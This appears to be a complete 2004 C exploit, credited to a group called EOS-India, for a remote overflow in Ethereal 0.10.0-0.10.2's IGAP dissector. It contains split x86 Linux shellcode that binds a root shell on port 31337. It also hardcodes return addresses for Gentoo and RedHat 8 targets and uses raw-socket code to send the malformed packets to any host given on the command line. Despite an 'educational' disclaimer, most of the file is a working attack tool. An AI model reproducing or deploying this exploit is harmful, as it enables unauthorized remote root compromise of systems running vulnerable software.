/* 
 * THE EYE ON SECURITY RESEARCH GROUP - INDIA
 * Ethereal IGAP Dissector Message Overflow Remote Root exploit
 *
 * Copyright 2004 - EOS-India Group
 *
 * Authors note:
 * Shellcode splitting technique:
 * Due to difficulty involved while following normal exploitation techniques due to shortage of memory space
 * for our shellcode, we used the technique of shellcode splitting. In this technique one part of the shellcode
 * is kept before the buffer which overwrites the saved EIP on stack followed by a jmp OFFSET instruction which
 * jumps EIP to the second half of the shellcode which is kept after return address. Also since our shellcode 
 * requires EBP to contain a usuable stack address, we overwrite saved EBP also.
 *
 * Disclaimer:
 * This code is for educational purpose and testing only. The Eye on Security Research Group - India, cannot
 * be held responsible for any damage caused due to misuse of this code.
 * This code is a proof of concept exploit for a serious vulnerability that exists in Ethereal 0.10.0 to
 * Ethereal 0.10.2.
 *
 * Nilanjan De [n2n+linuxmail.org] - Abhisek Datta [abhisek+front.ru]
 * http://www.eos-india.net
 *
*/
#define IPPROTO_IGAP    0x02 // IPPROTO_IGMP=0x02     
#define PAYLOAD_SIZE    (255-64)    
#define MAX_BUFF    sizeof(struct igap_header)+sizeof(struct ipheader)
#define EXP        "Ethereal(v0.10.0-0.10.2) IGAP Dissector Message Overflow Exploit"
#define VER        "0.2"
#define SOCKET_ERROR    -1
#define MAX_PACKET    10
#define RETOFFSET     76 
#define SRC_IP        "192.31.33.7"
#include <stdio.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>

#define MAX_ARCH    5
struct eos{
    char *arch;
    unsigned long ret;
} targets[] = {
    "tEthereal(0.10.2)-Gentoo(gdb)",
    0xbffede50,
    //-------------------------------
    "tEthereal(0.10.2)-Gentoo     ",
    0xbffede10,
    //-------------------------------
    "Ethereal(0.10.2)-Gentoo      ",
    0xbfffd560,
    //-------------------------------
    "tEthereal(0.10.2)-RedHat 8   ",
    0xbffedfb8,
    //-------------------------------
    "Ethereal(0.10.2)-RedHat 8    ",
    0xbfffcd08,
    //-------------------------------
    NULL,
    0
};
    

/*
 x86 linux portbind a shell in port 31337
 based on shellcode from www.shellcode.com.ar
 with a few modifications by us
*/
 
char shellcode_firsthalf[]=
        /* sys_fork() */
    "\x31\xc0"                      // xorl         %eax,%eax
    "\x31\xdb"                      // xorl         %ebx,%ebx
    "\xb0\x02"                      // movb         $0x2,%al
    "\xcd\x80"                      // int          $0x80
    "\x38\xc3"                      // cmpl         %ebx,%eax
    "\x74\x05"                      // je           0x5
    /* sys_exit() */
    "\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
    "\xcd\x80"                      // int          $0x80
        /* setuid(0) */
        "\x31\xc0"                      // xorl         %eax,%eax
        "\x31\xdb"                      // xorl         %ebx,%ebx
        "\xb0\x17"                      // movb         $0x17,%al
        "\xcd\x80"                      // int          $0x80
        /* socket() */
        "\x31\xc0"                      // xorl    %eax,%eax
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
        "\x40"                          // incl    %eax
        "\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
        "\x40"                          // incl    %eax
        "\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
    "\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\x45\x08"                  // movl    %eax,0x8(%ebp)
    ;    
char jumpcode[]="\xeb\x10";

char shellcode_secondhalf[]=
        /* bind()*/
        "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
    "\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
        "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
        "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
        "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* listen() */
        "\x40"                          // incl    %eax
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x43"                          // incl    %ebx
        "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* accept() */
        "\x43"                          // incl    %ebx
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "\x31\xc9"                      // xorl    %ecx,%ecx
        "\xb0\x3f"                      // movb    $0x3f,%al
        "\xcd\x80"                      // int     $0x80
        "\x41"                          // incl    %ecx
        "\x80\xf9\x03"                  // cmpb    $0x3,%cl
        "\x75\xf6"                      // jne     -0xa
 
        /* execve() */
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x52"                          // pushl   %edx
        "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
        "\x89\xe3"                      // movl    %esp,%ebx
        "\x52"                          // pushl   %edx
        "\x53"                          // pushl   %ebx
        "\x89\xe1"                      // movl    %esp,%ecx
        "\xb0\x0b"                      // movb    $0xb,%al
        "\xcd\x80";                     // int     $0x80
 
struct ipheader {
    unsigned char ip_hl:4, ip_v:4; 
    unsigned char ip_tos;
    unsigned short int ip_len;
    unsigned short int ip_id;
    unsigned short int ip_off;
    unsigned char ip_ttl;
    unsigned char ip_proto;
    unsigned short int ip_sum;
    unsigned int ip_src;
    unsigned int ip_dst;
};

struct igap_header {         // This is a malformed header which does not conforms with IGAP RFC
    unsigned char igap_type;     // Message Type
    unsigned char igap_restime;     // Response Time
    unsigned short int igap_cksum;     // IGAP Message Checksum
    unsigned int igap_gaddr;     // Group Address
    unsigned char igap_ver;     // Version
    unsigned char igap_stype;    // SubType
    unsigned char igap_reserved1;    // Reserved
    unsigned char igap_cid;        // Challenge ID
    unsigned char igap_asize;    // Account Size
    unsigned char igap_msgsize;    // Message Size
    unsigned short int igap_reserved2;    // Reserved
    /*
    unsigned char igap_uaccount[16];// User Account
    unsigned char igap_message[64]    // Message
    */
    unsigned char igap_payload[16+64+PAYLOAD_SIZE];    
// This buffer will contain payload, here we differ from RFC by sending a bigger message.
};

unsigned short checksum(unsigned short *buf,int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *(buf)++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

void showhelp(char *pr00gie) {
    int i=0;
    printf("######### The Eye on Security Research Group - India ########\n");
    printf("%s %s\n",EXP,VER);
           printf("abhisek[at]front[dot]ru - n2n[at]linuxmail[dot]org\n");
           printf("http://www.eos-india.net\n\n");
    printf("[usage]\n");
    printf("%s [Remote Host] [Target]\n",pr00gie);
    printf("[Available Targets]\n");
    while(targets[i].arch != NULL) {
        printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret);
        i++;
    }
    exit(1); 
}
          
int main(int argc,char *argv[]) {
    char buffer[MAX_BUFF];
    struct ipheader *iphdr=(struct ipheader*)buffer;
    struct igap_header *igaphdr=(struct igap_header*)(buffer+sizeof(struct ipheader));
    int sockfd;
    unsigned long addr;
    int one=1;
    int i;
    const int *val=&one;
    struct sockaddr_in sin;
    unsigned long magic;
    unsigned int n;
    
    if(getuid()) {
        printf("- This code opens SOCK_RAW which needs root privilege\n");
        exit(1);
    }
    if(argc != 3)
        showhelp(argv[0]);
    n=atoi(argv[2]);
    if(n >= MAX_ARCH) {
        printf("- Invalid target\n");
        showhelp(argv[0]);
    }
    magic=targets[n].ret;
    printf("-Using RET %p\n",magic);
    addr=inet_addr(argv[1]);
    if(addr==INADDR_NONE) {
        printf("- Invalid target\n");
        exit(1);
    }
    sin.sin_addr.s_addr=addr;
    sin.sin_family=AF_INET;
    sin.sin_port=0x00;
    sockfd=socket(PF_INET,SOCK_RAW,IPPROTO_RAW);
    if(sockfd==SOCKET_ERROR) {
        printf("- Failed creating SOCK_RAW descriptor\n");
        exit(1);
    }
    if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one)) < 0)
        printf ("- WARNING !! :Cannot set IP_HDRINCL!\n");
    memset(buffer,0x00,MAX_BUFF);
    // Filling IP Header
    iphdr->ip_hl=0x05;
    iphdr->ip_v=0x04;
    iphdr->ip_tos=0x00;
    iphdr->ip_len=MAX_BUFF;
    iphdr->ip_id=htonl(54321);
    iphdr->ip_off=0x00; // Lower 3 bit=Flag4Fragmentation - Higher 13 Bit=Fragment Offset
    iphdr->ip_ttl=0x01;
    iphdr->ip_proto=IPPROTO_IGAP; // IPPROTO_IGMP
    iphdr->ip_sum=0x00; // Fill sum before sending packet
    iphdr->ip_src=inet_addr (SRC_IP); 
    iphdr->ip_dst=addr;
    // Filling IGAP Header
    igaphdr->igap_type=0x41; // IGAP Membership Query
    igaphdr->igap_restime=0x0a; // 
    igaphdr->igap_cksum=0x00; // compute before sending packet
    igaphdr->igap_gaddr=0x00; // Ignored in IGAP Membership Query Message
    igaphdr->igap_ver=0x01; // IGAPv1
    igaphdr->igap_stype=0x21; // Basic Query
    igaphdr->igap_reserved1=0x00; // Ignored
    igaphdr->igap_cid=0x00; 
    // Challenge ID (ignored because Chanllenge Response authentication not used)        
    igaphdr->igap_asize=0x10; // MAX Size of Account Name Field
    igaphdr->igap_msgsize=0x40+PAYLOAD_SIZE; //  Size of Message    
    igaphdr->igap_reserved2=0x00; // Reserved
    // Building exploit buffer
    //for(i=0;i<16+64+PAYLOAD_SIZE;i++)
    //    memset(igaphdr->igap_payload+i,(unsigned char)i,1);
    memset(igaphdr->igap_payload,0x90,16+64+PAYLOAD_SIZE);
    memcpy(igaphdr->igap_payload+16+RETOFFSET-strlen(shellcode_firsthalf)-8,shellcode_firsthalf,
    strlen(shellcode_firsthalf));
    memcpy(igaphdr->igap_payload+16+64+RETOFFSET-strlen(jumpcode)-4,jumpcode,strlen(jumpcode));
    memcpy(igaphdr->igap_payload+16+64+RETOFFSET,&magic,4);
    magic-=0x10;
    memcpy(igaphdr->igap_payload+16+64+RETOFFSET-4,&magic,4);
    memcpy(igaphdr->igap_payload+16+64+PAYLOAD_SIZE-strlen(shellcode_secondhalf)-1,
                shellcode_secondhalf,strlen(shellcode_secondhalf));
    // Calculating checksum
    igaphdr->igap_cksum=checksum((unsigned short*)(buffer+sizeof(struct ipheader)),
    (sizeof(struct igap_header))>>1);
    iphdr->ip_sum = checksum ((unsigned short*)buffer,(iphdr->ip_len)>>1);
    // Sending
    one=MAX_PACKET;
    while(one) {
        sendto(sockfd,buffer,MAX_BUFF,0,(struct sockaddr*)&sin,sizeof(sin));
        printf(".");
        one--;
    }
    close(sockfd); 
    printf("\n- Send %d packets to %s\n",MAX_PACKET,argv[1]);    
    printf("- Read source to know what to do to check if the exploit worked\n");
    return 0;
}